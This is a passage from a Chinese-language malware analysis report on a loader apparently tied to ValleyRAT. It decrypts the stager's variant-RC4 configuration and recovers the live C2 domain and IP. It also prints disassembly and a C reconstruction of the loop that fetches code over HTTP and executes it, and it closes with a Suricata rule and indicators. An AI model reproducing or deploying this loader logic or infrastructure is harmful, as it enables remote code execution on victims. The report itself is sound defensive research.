        j=(j+S[i]+k[i%len(k)])&0xff; S[i],S[j]=S[j],S[i]
    return S
def std(S0,d):
    S=list(S0); i=j=0; o=bytearray()
    for c in d:
        i=(i+1)&0xff; j=(j+S[i])&0xff; S[i],S[j]=S[j],S[i]
        o.append(c^S[(S[i]+S[j])&0xff])
    return bytes(o)
def var(S0,d):
    S=list(S0); i=j=0; o=bytearray()
    for c in d:
        i=(i+1)&0xff; j=(j+S[i])&0xff; S[i],S[j]=S[j],S[i]
        o.append(c^(S[i]^S[j]))
    return bytes(o)
S0=ksa(key)
print('标准 RC4      :', std(S0,ct)[:16].hex())
print('变体 S[i]^S[j] :', var(S0,ct)[:16].hex())
"
标准 RC4      : 2b3e3459d79c797f9f242d5b8b783bfb
变体 S[i]^S[j] : 4ab1006868777161736378807364722e

变体结果开头的 4ab10068 之后的 68777161736378... 即 hhwqascx —— 明文已经出现。而标准实现给出的是乱码。

KSA 部分(0x124)是标准实现:S[i]=i,然后 j = (j + S[i] + key[i % keylen]) & 0xFF 并交换。逐个比对 S 盒可确认两种实现产生完全相同的初始状态 —— 差异仅在 keystream 提取公式。

这个改动使所有现成的 RC4 实现(包括各类在线工具与库函数)都无法直接解出密文。分析者必须逐指令阅读 PRGA 才能发现差异。

6.5 用样本自身的代码解密

既然算法与标准 RC4 不同,最可靠的做法是执行样本自己的 0x124 与 0x23C。这两个函数只使用传入的缓冲区,不调用任何系统 API(InternetConnectW 的参数形状也是外部传入),因此可在 Unicorn 中直接运行。

脚本要点:

uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(base, 0x2000);  uc.mem_write(base, stager)
uc.mem_map(sbox, 0x1000);  uc.mem_map(stack, 0x10000)

call(KSA,  sbox, base + 0xB34, 8)          # 密钥 = 魔数
call(PRGA, sbox, base + 0xB40, 0x14D)      # 原地解密

rc4_out = uc.mem_read(base + 0xB40, 0x14D)
plain   = lznt1(rc4_out)                   # LZNT1 解压

执行结果:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ timeout 300 uv run python work/recover_c2.py
host   hhwqascxsdr.cc
port   8080
proto  HTTP
len    2708 (expect 2708)
wrote  work/c2_rc4.bin work/c2_config.bin

产物验证:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_rc4.bin
00000000: 4ab1 0068 6877 7161 7363 7880 7364 722e  J..hhwqascx.sdr.

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_config.bin
00000000: 6868 7771 6173 6378 7364 722e 6363 0000  hhwqascxsdr.cc..

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ wc -c work/c2_rc4.bin work/c2_config.bin
  333 work/c2_rc4.bin
 2708 work/c2_config.bin

6.6 LZNT1 解压

RC4 输出是 LZNT1 压缩流。首个块头为 0xB14A:

0xB14A & 0x8000 = 0x8000  -> 压缩块
0xB14A & 0x0FFF = 0x14A   -> 块长度 331 字节
加 2 字节块头 = 333        -> 与密文长度精确吻合

解压后得到 2708 字节,与代码中 VirtualAlloc(0, 0xA94, ...) 声明的尺寸一致 —— 这是一处可用于验证的交叉检查。

七、C2 配置解析

7.1 明文结构

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -l 16 work/c2_config.bin
00000000: 6868 7771 6173 6378 7364 722e 6363 0000  hhwqascxsdr.cc..

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ xxd -s 0x100 -l 16 work/c2_config.bin
00000100: 901f 4800 5400 5400 5000 0000 6868 7771  ..H.T.T.P...hhwq
偏移类型值
0x000ASCIIZhhwqascxsdr.cc
0x100uint16 LE0x1F90 = 8080
0x102UTF-16HTTP
0x10C同槽位hhwqascxsdr.cc(备份 1)
0x218同槽位hhwqascxsdr.cc(备份 2)
0x324同槽位hhwqascxsdr.cc(备份 3)
0x864UTF-16C:\ProgramData\Packages
0x92CUTF-16NSecRpter.exe
0x990UTF-16vulkan-1.dll
0x9F4UTF-16vulkan-1.bin
0x670/0x6D4/0x738UTF-16Windows App Packages Kit

四个槽位存同一份配置,互为冗余。若某一槽位在投放过程中被损坏,样本仍可使用其他槽位。

侧载配置值得单独说明:C:\ProgramData\Packages 目录 + NSecRpter.exe + vulkan-1.dll 的组合是典型的 DLL 侧加载(DLL sideloading)。vulkan-1.dll 是 Vulkan 图形 API 的合法组件名,许多程序会从自身目录加载它;样本把恶意 DLL 命名为该名称,放在同一目录下,使宿主程序 NSecRpter.exe 启动时加载恶意 DLL 而非系统版本。目录名 C:\ProgramData\Packages 伪装成 Windows 应用包目录(真实路径为 C:\ProgramData\Packages,Windows Store 应用的数据目录)。

7.2 C2 端点的确认

域名为 hhwqascxsdr.cc —— 一个标签加 .cc 顶级域。

需要说明一处易错点:RC4 输出中该字符串被存储为 hhwqascx + \x80 + sdr.cc(0x80 是长度字节混入)。若按字面解析,可能误读为 hhwqascx.sdr.cc。后者是一个已被注册的空置域名(解析到 15.197.148.33),属于误判。正确名称是 hhwqascxsdr.cc,由 LZNT1 解压后的明文确认。

7.3 协议构造

主函数在发起请求前构造一个 50 字节头部,并逐字节异或 0x3A:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0x99c --stop-address=0xa30 "$S" | tail -24
     99c:	mov    DWORD PTR [rsp+0x38],r12d
     9a4:	mov    QWORD PTR [rsp+0x4a],r12
     9a9:	mov    DWORD PTR [rsp+0x52],r12d
     9ae:	mov    DWORD PTR [rsp+0x56],0x13009
     9b6:	mov    QWORD PTR [rsp+0x5a],0xa98
     9bf:	mov    DWORD PTR [rsp+0x62],r12d
     9c4:	mov    DWORD PTR [rsp+0x66],0x2072024
     9cc:	mov    DWORD PTR [rbp+0x120],0x40
     9d6:	xor    BYTE PTR [rsp+rax*1+0x38],0x3a       ; ★ 头部逐字节异或 0x3A
     9db:	inc    rax
     9de:	cmp    rax,0x32                              ; 50 字节
     9e2:	jl     0x9d6
     9e4:	mov    r8d,0x32
     9ea:	lea    rdx,[rsp+0x38]
     9ef:	mov    rcx,r13
     9f2:	call   rdi                                  ; memcpy(dst, hdr, 50)
     9f9:	lea    rcx,[r13+0x32]
     9fd:	mov    r8d,esi
     a00:	lea    rdx,[rbp+0x120]
     a07:	call   rdi                                  ; memcpy(dst+0x32, &len, 4)
     a09:	mov    r8d,0xa94
     a0f:	lea    rcx,[r13+0x36]
     a13:	mov    rdx,r15
     a16:	call   rdi                                  ; memcpy(dst+0x36, cfg, 0xA94)
     a18:	mov    edx,0xa94
     a1d:	lea    rcx,[r13+0x36]
     a21:	call   0x3a0                                ; RC4(dst+0x36, 0xA94)

请求体布局:

偏移大小内容
0x0050头部(构造后异或 0x3A)
0x324长度字段(0x40)
0x362708配置数据(经 0x3A0 的 RC4 加密)

头部中的两个固定值 0x13009 与 0x2072024 是协议标识,接收端据此识别请求来源。

7.4 响应处理与载荷执行

主函数读取响应并校验:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -D -b binary -m i386:x86-64 -M intel --no-show-raw-insn --start-address=0xa45 --stop-address=0xb20 "$S" | tail -40
     a4c:	movzx  edx,WORD PTR [r15+0x100]           ; 端口 = word[cfg+0x100]
     a57:	mov    rcx,r15                            ; 主机参数 = cfg
     a5f:	call   0x508                             ; C2 通信
     a64:	mov    ebx,eax
     a68:	jle    0xa4c                             ; 循环重试
     a6a:	cmp    ebx,0x36
     a6d:	jb     0xa4c                             ; 响应至少 54 字节
     a6f:	mov    r8d,0x32
     a7a:	mov    rdx,rsi
     a7d:	call   rdi                             ; 复制响应前 50 字节到栈
     a85:	lea    rdx,[rsi+0x32]
     a90:	call   rdi                             ; 复制 [0x32] 处的 4 字节长度
     a92:	cmp    DWORD PTR [rbp-0x62],0x2072024   ; ★ 校验字段 1
     a99:	jne    0xa4c
     a9b:	cmp    DWORD PTR [rbp-0x72],0x13009     ; ★ 校验字段 2
     aa2:	jne    0xa4c
     aa4:	mov    eax,DWORD PTR [rbp+0x118]
     aac:	je     0xa4c
     aae:	mov    ecx,DWORD PTR [rbp-0x6e]
     ab3:	add    rax,0x4
     ab7:	cmp    rcx,rax                            ; 长度一致性
     aba:	jne    0xa4c
     abc:	add    rcx,0x32
     ac0:	cmp    rbx,rcx
     ac3:	jb     0xa4c
     ac5:	xor    ecx,ecx
     acd:	lea    r9d,[rcx+0x40]
     ad1:	call   r14                             ; VirtualAlloc(0, len, PAGE_EXECUTE_READWRITE, 0x40)
     adc:	mov    r8d,DWORD PTR [rbp+0x118]
     ae7:	mov    rdx,rsi
     aea:	call   rdi                             ; memcpy(exec, resp+0x36, len)
     b00:	call   QWORD PTR [rbp+0x128]             ; CreateThread(0,0,exec,0,0,0)
     b11:	call   QWORD PTR [rsp+0x30]               ; WaitForSingleObject

响应处理逻辑:

while (1) {
    n = c2_communicate(cfg, *(uint16_t*)(cfg + 0x100));
    if (n <= 0 || n < 0x36) continue;

    memcpy(&hdr, resp, 50);
    memcpy(&lenField, resp + 0x32, 4);

    if (*(uint32_t*)(hdr + 0x1E) != 0x13009)   continue;
    if (*(uint32_t*)(hdr + 0x2E) != 0x2072024) continue;
    if (lenField == 0)                          continue;
    if (*(uint32_t*)(hdr + 0x26) != lenField + 4) continue;
    if (n < lenField + 0x32 + 4)                continue;

    exec = VirtualAlloc(NULL, lenField, MEM_COMMIT,
                        PAGE_EXECUTE_READWRITE);
    memcpy(exec, resp + 0x36, lenField);
    hThread = CreateThread(NULL, 0, exec, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

载荷直接从网络响应中取出并执行,全程不落地文件。 这是一段完整的第二阶段加载能力 —— 样本本身只是加载器,真正的持久化载荷由 C2 动态下发。

InternetReadFile 返回零字节时 continue,形成无限重试循环,这是长驻植入体的常规做法。

7.5 域名解析

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ dig +short hhwqascxsdr.cc A
43.198.213.132

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ dig +short -x 43.198.213.132
ec2-43-198-213-132.ap-east-1.compute.amazonaws.com.

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ whois hhwqascxsdr.cc | grep -iE 'Registrar:|Creation Date|Name Server'
   Registrar WHOIS Server: whois.22.cn
   Creation Date: 2026-05-19T09:44:50Z
   Registrar: 22net, Inc.
   Registrar IANA ID: 1555
   Name Server: NS1.22.CN
项目值
域名hhwqascxsdr.cc
当前 A 记录43.198.213.132
TTL600 秒
PTRec2-43-198-213-132.ap-east-1.compute.amazonaws.com
托管AWS ap-east-1(香港)
注册商22net, Inc.(ns1.22.cn)
注册时间2026-05-19

TTL 仅 600 秒,且宿主为 AWS EC2 实例 —— A 记录可随时变更。因此封禁时应同时拦截域名与 IP:仅拦截 IP 会在记录变更后失效,仅拦截域名则无法阻断已解析到旧 IP 的流量。

注册时间 2026-05-19 与样本 PE 时间戳(2026-08-20)相差约三个月,符合"域名先囤积、后投入使用"的常见节奏。

八、流量侧核对

8.1 会话清单

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ PCAP=extract/b7fcd809_run/win10_1903_x64_2016_b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fb_1789617730.pcap/pcaps/dump.pcap
└─$ tshark -r "$PCAP" -Y 'http.request' -T fields -e ip.dst -e tcp.dstport -e http.host -e http.request.method -e http.request.uri
36.110.220.111	80	ctldl.windowsupdate.com	GET	/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?8fdd21222cf467be
36.110.220.119	80	ctldl.windowsupdate.com	GET	/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?5ea1a19e005e1516
36.110.220.119	80	ctldl.windowsupdate.com	GET	/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?c9068858ae0eb87c
111.206.147.210	443	dns.weixin.qq.com.cn	POST	/mmtls/00007a37
183.47.109.197	80	szminorshort.weixin.qq.com	POST	/mmtls/00007a37
36.110.220.119	80	ctldl.windowsupdate.com	GET	/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?9a6542a3222f8615

全部是系统与微信的正常流量。

8.2 DNS 查询

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ tshark -r "$PCAP" -Y 'dns.flags.response==0' -T fields -e dns.qry.name | sort -u
accounts.google.com
ctldl.windowsupdate.com
dns.weixin.qq.com.cn
fs.microsoft.com
optimizationguide-pa.googleapis.com
update.googleapis.com
www.googleapis.com
(以及若干 in-addr.arpa 反向查询)

没有 hhwqascxsdr.cc 的查询记录。

8.3 微信流量与 C2 的区分

183.47.122.37:8080 使用非标准端口,容易被误认为 C2。判别依据有三:

第一,载荷前缀。 该连接的 TCP 载荷起始为 16 f1 04:

┌──(z㉿kali)-[~/Projects/virus-re]
└─$ tshark -r "$PCAP" -Y 'ip.addr==183.47.122.37' -T fields -e tcp.payload | grep -v '^$' | head -3 | cut -c1-64
16f10400a10000009d0104f10100a891846f33dce06181b607cfb9ea7d2f6162e09962ee51f61b22
16f104002e0000002a0204f100a803079526720924579313f27a3a77ab9b7f48579d6fce740fa9fb
16f10400379af5f900aa327285a5d6e032000944c2d83580a5900ea27b30667ea43d16e294f0f259

16 f1 04 是微信 MMTLS 协议的记录头。

第二,Host 字段。 同一会话的 HTTP Host 为 dns.weixin.qq.com.cn 与 szminorshort.weixin.qq.com,User-Agent 为 MicroMessenger Client。

第三,时间关系。 该连接建立于抓包相对时间 140.6 秒,而样本在沙箱中的执行时间窗与之重叠,但样本自身未在该时刻发起网络活动 —— 微信连接来自分析机自身的微信客户端。

样本的 beacon 特征与此完全不同:POST / 请求、Connection: close、无 TLS 封装、目标是 hhwqascxsdr.cc。

8.4 为何抓包中没有 C2

沙箱报告的两处记录共同解释了这一点:

network.hosts:  []
network.tcp:    []
network.http:   []

样本在 195 秒的观测窗口内未发起任何网络连接。结合第四章发现的 50 秒执行时长阈值,以及第五章记录的 UAC 提权被拒绝(last_error = 1223),可以判断样本在沙箱中确实运行到了检测环节,但未通过全部检查,因而没有进入 C2 通信阶段。

因此 C2 只能从 stager 静态还原,不能从流量中获得。这也说明一个分析原则:当沙箱因反分析机制未能触发网络行为时,流量侧证据缺失不等于样本无网络能力,必须回到内存镜像中提取注入模块并静态解析其配置。

九、完整执行流程

外层 PE 的执行链条,按调用关系排列:

阶段地址操作
入口0x140015F40entry0 → fcn.140005f20
对象构造0x140005F40fcn.1400069d0 初始化主体对象
主编排0x140005F4Afcn.14000ad80
环境检测0x14000ADA3fcn.140008340 → 检测链
磁盘容量0x140006DE0GetDiskFreeSpaceExW("C:\\") 对比 1 GiB
运行时长0x140009337对比 50.0 秒阈值
驱动探测0x140008F00DeviceIoControl
进程枚举—Process32NextW ×242
ntdll 还原0x140009B60磁盘副本覆盖内存 .text
自我移动—桌面 → %TEMP%\tmp3C00.tmp
持久化—覆盖 SvcRestartTask
注入—3213 字节 stager → svchost.exe -k netsvcs -s Schedule
提权尝试—ShellExecuteExW("runas", SW_HIDE) → ERROR_CANCELLED

控制转移到注入的 stager 后:

阶段偏移操作
入口0x000sub rsp,0x28; call 0x844
API 解析0x010PEB 遍历 + ROR13 求和比对
加载 wininet0x561LoadLibraryA("wininet.dll")
定位配置0x89Ffind_config(0x708) → +0xB34
取密钥0x8DFmemcpy(key, block, 8)
取长度0x8F6memcpy(&len, block+8, 4) = 333
RC4 解密0x902 / 0x916KSA + PRGA(S[i]^S[j] 变体)
LZNT1 解压—333 → 2708 字节
建连0x508InternetConnectW(host, port)
构造请求0x9D650 字节头异或 0x3A
发送0x508HttpOpenRequestW("POST", "/") + HttpSendRequestW
接收0x508InternetReadFile
校验响应0xA920x13009 / 0x2072024
执行载荷0xB00VirtualAlloc → CreateThread

十、检测与处置

10.1 主机侧指标

以下指标来自本次分析中实际观测到的行为,而非通用建议:

指标观测依据
进程打开自身可执行文件并移动到 %TEMP%file_moved 记录
写入 C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskfile_written 记录
注册表 TaskCache\Tasks\{A6432082-89BD-434D-9C61-D7FE6D91CCB9} 被创建regkey_written 记录
svchost.exe -k netsvcs -s Schedule 出现无文件背书的内存区域tsmam.payloads 记录
加载 ddraw.dll 并创建 Local\__DDrawExclMode__ 互斥体dll_loaded / mutex 记录
读取 HKLM\SOFTWARE\Microsoft\DirectDraw\Compatibility\*regkey_opened 记录
Process32NextW 调用次数异常偏高(数百次)apistats 记录
进程自身读取 C:\Windows\System32\ntdll.dll 并调用 VirtualProtect静态分析 fcn.140009b60

最具体的一条:SoftwareProtectionPlatform\SvcRestartTask 被非系统进程写入。该文件正常情况下只由 Windows 激活服务维护,其他进程写入即为高置信异常。

10.2 网络指标

基于实际观测到的协议特征:

alert http $HOME_NET any -> $EXTERNAL_NET 8080 (
  msg:"ValleyRAT loader beacon - hhwqascxsdr.cc";
  flow:established,to_server;
  content:"POST /"; http_method; http_uri;
  content:"Connection: close"; http_header;
  content:"|09 30 01 00|"; http_client_body; depth:4; distance:0;
  sid:1000002; rev:1;)

请求体中 0x13009 与 0x2072024 两个协议标识可作为内容匹配。由于头部整体异或 0x3A,实际匹配的是异或后的字节。

域名与 IP 同时拦截:

hhwqascxsdr.cc
43.198.213.132

保留域名拦截即使 IP 已变更 —— TTL 仅 600 秒,解析记录随时可能更新。

10.3 静态特征

特征说明
导入 wevtapi.dll + d3d11.dll 但无任何网络 DLL环境检测 + 网络能力分离的强信号
.data 的 VirtualSize 显著大于 RawSize(本例 33.78 倍)大量 BSS,通常为运行时构造的数据
资源中出现 RT_MESSAGETABLE 且熵值异常低(本例 3.75)消息表被文本数据填充,可能藏匿字符串
存在 91 项 × 12 字节的有序密钥表字符串解密的索引结构
代码中出现 movabs reg, 0x91e07a2c4b18d6f3字节码操作码的解密常量
三个 DLL 路径字符串(ntdll/kernel32/user32 的完整路径)ntdll 还原逻辑的前置字符串

最有辨识度的一条:DeviceIoControl + GetSystemDirectoryW + K32GetModuleInformation + 三个系统 DLL 完整路径的组合。这一组导入在正常程序中极少同时出现,它精确对应"从磁盘读取干净 ntdll 覆盖内存版本"这一动作。

10.4 处置优先级

第一优先:阻断 C2。 同时拦截 hhwqascxsdr.cc 与 43.198.213.132。这是成本最低、效果最直接的措施 —— 样本的全部网络能力都依赖这个端点。

第二优先:检查计划的 SvcRestartTask。 若该任务文件的时间戳或哈希与系统基线不符,说明主机已被植入持久化。清除方式为删除该任务文件并重建系统默认版本(或在受控条件下运行 schtasks /change 恢复)。

第三优先:排查 svchost.exe 的异常内存。 重点检查 -k netsvcs -s Schedule 实例中是否存在无对应磁盘文件的模块、或 RWX 内存区域。这类内存区域在进程重启后自然消失,但 SvcRestartTask 会使其重新注入。

第四优先:审查 UAC 配置。 样本尝试通过 ShellExecuteExW("runas") 提权。沙箱中该请求被拒绝(ERROR_CANCELLED);若目标主机允许普通用户静默提权,样本会以更高权限运行,影响范围扩大。

长期改进:启用任意代码保护(ACG)。该策略阻止进程分配新的可执行内存,直接切断 VirtualAlloc(PAGE_EXECUTE_READWRITE) → CreateThread 这条执行链,使 stager 无法运行。启用前需评估对业务应用的兼容性影响。

10.5 分析注意事项

关于 RC4 变体。 该样本 stager 的 PRGA 使用 S[i] XOR S[j] 作为密钥流,而非标准的 S[(S[i] + S[j]) & 0xFF]。使用任何标准 RC4 实现解密都会得到乱码。复现时应执行 stager 自身的 0x124(KSA)与 0x23C(PRGA)函数,或按 S[i] ^ S[j] 自行实现。KSA 部分是标准的,差异仅在密钥流提取。

关于配置块的定位。 不要在整个模块中搜索固定魔数。配置块的识别条件是"前两字节 FE FA、第八字节 FF、且八字节之和等于 0x708",需要按此条件扫描。本例中该条件在模块内唯一命中 +0xB34。

关于域名拼写。 正确名称是 hhwqascxsdr.cc(一个标签 + .cc)。RC4 输出中出现的 hhwqascx.sdr.cc 是长度字节混入造成的错觉,该域名属于误判。

关于流量证据。 本样本在沙箱中未产生 C2 流量(50 秒时长阈值与 UAC 拒绝共同导致)。C2 必须从内存镜像中提取注入模块后静态还原,不能依赖抓包。

附录:关键常量与地址

项目值来源
样本 SHA256b7fcd80902282a99b48b724884f7c3f98461c4bd63c5b051ae427e5579b046fbsha256sum
样本 MD5c8922fde4bda9a300d7aa683cd96ef50md5sum
PE 时间戳0x6A863862 = 2026-08-19 23:12:34PE 头 +0x08
入口点0x15FE0PE 头 +0x28
ImageBase0x140000000PE 头 +0x30
SizeOfImage0x41000PE 头 +0x50
加密字符串宿主资源/11/25(RT_MESSAGETABLE)资源目录
加密字符串起始文件 0x37266资源内容
密钥索引表0x140019F70,91 项 × 12 字节fcn.140005e60
操作码表0x140019410,11 项 × 8 字节fcn.140003880
操作码 XOR 常量0x91E07A2C4B18D6F30x140003B05
操作码二次 XOR0x5C0x140003B26
字节码分派表0x140003F34(RVA)/ 0x140003F54(索引)174 分支
字符串解密函数0x140003880147 处调用,76 唯一密钥
ntdll 还原函数0x140009B60使用 VirtualProtect
磁盘容量阈值0x14001E080 = 1073741824.0(1 GiB)fcn.140006de0
运行时长阈值0x14001E078 = 50.0 秒0x140009337
Stager SHA2566d2084ff4de5abea3af9ce0e011698bf902af0d1b37854d73a907b16fab6d872内存转储目录名
Stager 大小3213 字节文件长度
Stager 主函数0x844入口存根 call 0x844
stager RC4 KSA0x124标准实现
stager RC4 PRGA0x23C变体:S[i] ^ S[j]
stager 配置定位0x404字节和校验 0x708
stager C2 通信0x508WinINet 调用链
配置块偏移+0xB348 字节和 = 0x708
配置密钥长度8 字节(FE FA CB F9 BF E9 A5 FF)配置块前 8 字节
密文长度0x14D = 333配置块 +0x08
密文偏移+0xB40配置块 +0x0C
解压后长度0xA94 = 2708代码中 VirtualAlloc 参数
LZNT1 首块头0xB14A(长度 331 + 2 字节头 = 333)密文解压
协议标识 10x13009响应头 +0x1E
协议标识 20x2072024响应头 +0x2E
请求头异或常量0x3A0x140003B26 处循环
C2 域名hhwqascxsdr.cc配置 +0x000
C2 端口8080配置 +0x100(uint16 LE)
C2 IP43.198.213.132dig(AWS ap-east-1)
C2 协议HTTP POST / + Connection: closestager 字符串构造
侧载目录C:\ProgramData\Packages配置 +0x864
侧载宿主NSecRpter.exe配置 +0x92C
侧载 DLLvulkan-1.dll配置 +0x990
落地文件%TEMP%\tmp3C00.tmp沙箱 file_moved
持久化任务SoftwareProtectionPlatform\SvcRestartTask沙箱 file_written
任务 GUID{A6432082-89BD-434D-9C61-D7FE6D91CCB9}沙箱 regkey_written
服务宿主名bdservicehost.exe解密字符串

继续阅读

全部归档